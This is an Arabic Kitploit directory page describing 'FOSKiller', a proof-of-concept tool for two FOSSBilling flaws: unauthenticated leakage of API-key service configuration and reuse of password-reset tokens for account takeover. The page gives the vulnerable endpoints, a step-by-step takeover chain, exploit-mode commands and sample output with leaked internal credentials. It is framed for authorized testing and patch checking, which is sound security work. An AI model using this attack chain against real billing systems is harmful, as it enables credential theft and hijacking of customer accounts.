Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/7megaumka7/foskiller
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراق
GitHub7megaumka7/foskiller

FOSKiller

FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — كشف مفتاح API بدون مصادقة وإعادة استخدام رمز إعادة تعيين كلمة المرور

عرض المستودع
114منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
 ███████╗ ██████╗ ███████╗██╗  ██╗██╗██╗     ██╗     ███████╗██████╗
 ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║     ██║     ██╔════╝██╔══██╗
 █████╗  ██║   ██║███████╗█████╔╝ ██║██║     ██║     █████╗  ██████╔╝
 ██╔══╝  ██║   ██║╚════██║██╔═██╗ ██║██║     ██║     ██╔══╝  ██╔══██╗
 ██║     ╚██████╔╝███████║██║  ██╗██║███████╗███████╗███████╗██║  ██║
 ╚═╝      ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝

صنع بواسطة 7megaumka7

أداة إثبات مفهوم (PoC) لثغريتين أمنيتين مقبولتين في GitHub Security Advisory في FOSSBilling الإصدار 0.7.2 فأقل

Python License CVE-2026-53647 CVE-2026-53646


جدول المحتويات

  • مقدمة
  • الثغرات
    • CVE-2026-53647 — كشف تكوين مفتاح API دون مصادقة
    • CVE-2026-53646 — إعادة استخدام رمز إعادة تعيين كلمة المرور
  • المتطلبات
  • التثبيت
  • الاستخدام
    • الخيارات
    • الأوضاع
    • أمثلة
  • ناتج عينة
  • المعالجة
  • الإفصاح المسؤول
  • إخلاء المسؤولية القانوني
  • الإسناد

مقدمة

FOSKiller هي أداة إثبات مفهوم توضح ثغريتين أمنيتين في FOSSBilling — وهي منصة فوترة وإدارة عملاء مفتوحة المصدر. تم الإفصاح عن كلتا الثغرتين بشكل مسؤول من خلال برنامج GitHub Security Advisory وتم تصحيحهما بالكامل في FOSSBilling 0.7.3+.

الأداة مخصصة لـ:

  • باحثي الأمن للتحقق من تثبيتات FOSSBilling الخاصة بهم
  • مختبرين الاختراق الذين يقومون بعمليات مصرح بها
  • المدافعين لتأكيد تطبيق التصحيح
الاستشارةCVEالنوعCVSSالمتأثر
GHSA-737q-9gpr-6mpqCVE-2026-53647كشف تكوين مفتاح API دون مصادقة6.9 متوسط>= 0.5.3, <= 0.7.2
GHSA-vp66-w6rc-x32pCVE-2026-53646إعادة استخدام رمز إعادة تعيين كلمة المرور → الاستيلاء على الحساب7.7 مرتفع>= 0.5.6, <= 0.7.2

الثغرات

CVE-2026-53647 — كشف تكوين مفتاح API دون مصادقة

يعيد نقطة النهاية /api/guest/serviceapikey/get_info الخاصة بالضيف تكوين الخدمة بالكامل — بما في ذلك الحقول custom_* وبيانات اعتماد API وأسماء المضيفين وكلمات المرور — دون الحاجة إلى أي مصادقة. يمكن للمهاجم الذي يعرف أو يكتشف مفتاح API صالح استرداد تكوين الخدمة الخلفي بالكامل من نقطة نهاية عامة.

التأثير: الكشف عن بيانات اعتماد الخدمة وأسماء المضيفين الداخلية وأسرار API.

CVE-2026-53646 — إعادة استخدام رمز إعادة تعيين كلمة المرور

عندما يطلب عميل عمليتي إعادة تعيين كلمة مرور متتاليتين لنفس الحساب، يصدر التطبيق رمزًا جديدًا ولكنه لا يبطل الرمز السابق. يمكن للمهاجم الذي التقط الرمز الأول سابقًا استخدامه لتعيين كلمة مرور جديدة حتى بعد أن يكمل المستخدم الشرعي عملية إعادة التعيين الخاصة به.

سلسلة الهجوم:

1. المهاجم يرسل POST /api/guest/client/reset_password → يلتقط الرمز T1
2. الضحية يبدأ إعادة تعيين خاصة به → يصدر التطبيق T2، يظل T1 صالحًا
3. المهاجم يرسل POST /api/guest/client/update_password?hash=T1 مع كلمة مرور يختارها
4. يحصل المهاجم على وصول دائم بغض النظر عن إتمام الضحية لإعادة التعيين

التأثير: استيلاء دائم على حساب أي عميل يمكن اعتراض بريده الإلكتروني لإعادة التعيين.


المتطلبات

  • Python 3.8+
  • requests
  • colorama

إذا كانت التبعيات مفقودة، يكتشف البرنامج النصي ذلك عند التشغيل ويعرض تثبيتها تلقائيًا.


التثبيت

الاستنساخ وتثبيت التبعيات:

git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt

أو التشغيل دون تثبيت مسبق — سيطالب البرنامج النصي بتثبيت الحزم المفقودة عند التشغيل الأول.


الاستخدام

python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
                          [--check-only | --exploit]
                          [--force] [--output FILE]
                          [--timeout SEC] [--proxy URL]

الخيارات

الخيارمطلوبالوصف
--target URLنعمعنوان URL الأساسي لتثبيت FOSSBilling
--key KEYلـ CVE-2026-53647مفتاح API للاختبار
--email EMAILلـ CVE-2026-53646البريد الإلكتروني للعميل للاختبار
--check-onlyلاوضع الكشف — تأكيد الثغرة دون استخراج البيانات
--exploitلااستخراج كامل + توثيق سلسلة الهجوم
--forceلاتخطي فحص نطاق الإصدار
--output FILEلاحفظ النتائج الكاملة في ملف JSON
--timeout SECلامهلة HTTP بالثواني (افتراضي: 10)
--proxy URLلاوكيل HTTP (مثال: http://127.0.0.1:8080)

--check-only و --exploit متنافيان.

الأوضاع

الوضعالخيارما يفعله
الكشف--check-onlyيؤكد وجود الثغرة. لا يعرض أو يستخرج القيم الحساسة.
افتراضي(بدون خيار وضع)يؤكد الحالة ويظهر أدلة أساسية.
الاستغلال--exploitيستخرج جميع الحقول المسربة؛ يوثق سلسلة الاستيلاء الكاملة على الحساب مع بيانات التوقيت.

أمثلة

الكشف فقط — تحقق من كلا CVE دون استخراج بيانات:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --check-only

الاستخراج الكامل وتوثيق سلسلة الهجوم:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --exploit

حفظ النتائج في JSON والتوجيه عبر Burp Suite:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --output results.json \
  --proxy http://127.0.0.1:8080

اختبار إصدار غير معروف أو مصحح بالفعل:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --force

ناتج عينة

[*] فحص https://billing.example.com …
[+] تم الكشف عن الإصدار: 0.7.1
[+] CVE-2026-53647 في النطاق المتأثر (>=0.5.3 <=0.7.2): نعم
[+] CVE-2026-53646 في النطاق المتأثر (>=0.5.6 <=0.7.2): نعم

── CVE-2026-53647 │ كشف تكوين مفتاح API دون مصادقة ─────────
[*] الهدف  : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] الوضع    : استخراج كامل
[*] HTTP    : 200
[+] ثغرة موجودة — أعاد نقطة النهاية 4 حقل(حقول) حساسة دون مصادقة

  الحقل                          القيمة
  ──────────────────────────────────────────────────────────────────────
  custom_hostname                db.internal.example.com
  custom_username                fossbilling_db
  custom_password                [مخفى في هذا المثال]
  custom_api_secret              [مخفى في هذا المثال]

── CVE-2026-53646 │ إعادة استخدام رمز إعادة تعيين كلمة المرور / الاستيلاء على الحساب ─────
[*] إرسال طلب إعادة تعيين #1 …
[*]   HTTP 200  |  142 ms  |  2026-06-12T10:00:00.000Z
[*] إرسال طلب إعادة تعيين #2 (نفس البريد الإلكتروني) …
[*]   HTTP 200  |  138 ms  |  2026-06-12T10:00:01.000Z
[*]   فارق الوقت بين الطلبات : 0.643s
[!] نجح كلا طلبي إعادة التعيين — نقطة النهاية تقبل إعادة التعيين المتكررة دون تحديد معدل.

── الملخص ─────────────────────────────────────────────────────────────
تنزيل الأداة